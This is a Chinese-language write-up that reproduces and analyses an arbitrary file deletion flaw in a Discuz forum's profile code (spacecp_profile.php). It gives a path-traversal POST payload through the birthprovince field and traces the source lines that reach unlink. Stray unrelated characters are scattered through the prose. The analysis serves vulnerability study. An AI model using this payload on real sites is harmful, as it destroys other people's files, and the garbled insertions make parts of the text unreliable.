漏洞復現(xiàn)
網(wǎng)上內(nèi)容
首先在目錄里建立test.txt
然后,獲取formhash:7b2bf0ce
于是可以構(gòu)建payload:
http://127.0.0.1/home.php?mod=spacecp&ac=profile&op=base
[post] birthprovince=../../../test.txt&profilesubmit=1&formhash=7b2bf0ce
然后上傳文件买置,就可以刪除這個test.txt了
漏洞分析
我們來看下源碼速警,這里主要是spacecp_profile.php的問題
首先叹誉,我們從漏洞出發(fā),我們先從刪除函數(shù)開始:
#178
if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file') {
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $setarr[$key] = '';
}
}
}
可以看到闷旧,這個要求formtype是file长豁,就會觸發(fā)unlink
我們發(fā)現(xiàn)這次改動的228行有@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
,也就是這次漏洞所在忙灼,我們看看語句成立的條件
if($_FILES) {
......省略
if(!$upload->error()) {
$upload->save();
也就是上傳文件匠襟,那么現(xiàn)在就是看看這個$space[$key]
了,回溯下變量该园,我們發(fā)現(xiàn)酸舍,key是可以被payload里的用戶資料所操作的,我們看下payload里用的birthprovince
爬范,
if(isset($_POST['birthprovince'])) {
$initcity = array('birthprovince', 'birthcity', 'birthdist', 'birthcommunity');
foreach($initcity as $key) {
$_GET[''.$key] = $_POST[$key] = !empty($_POST[$key]) ? $_POST[$key] : '';
}
}
可以看到這個就可以控制$space[$key]
,而且沒有什么限制,而一切的條件就是70行的if(submitcheck('profilesubmit')) {
所以弱匪,我們的payload會有profilesubmit=1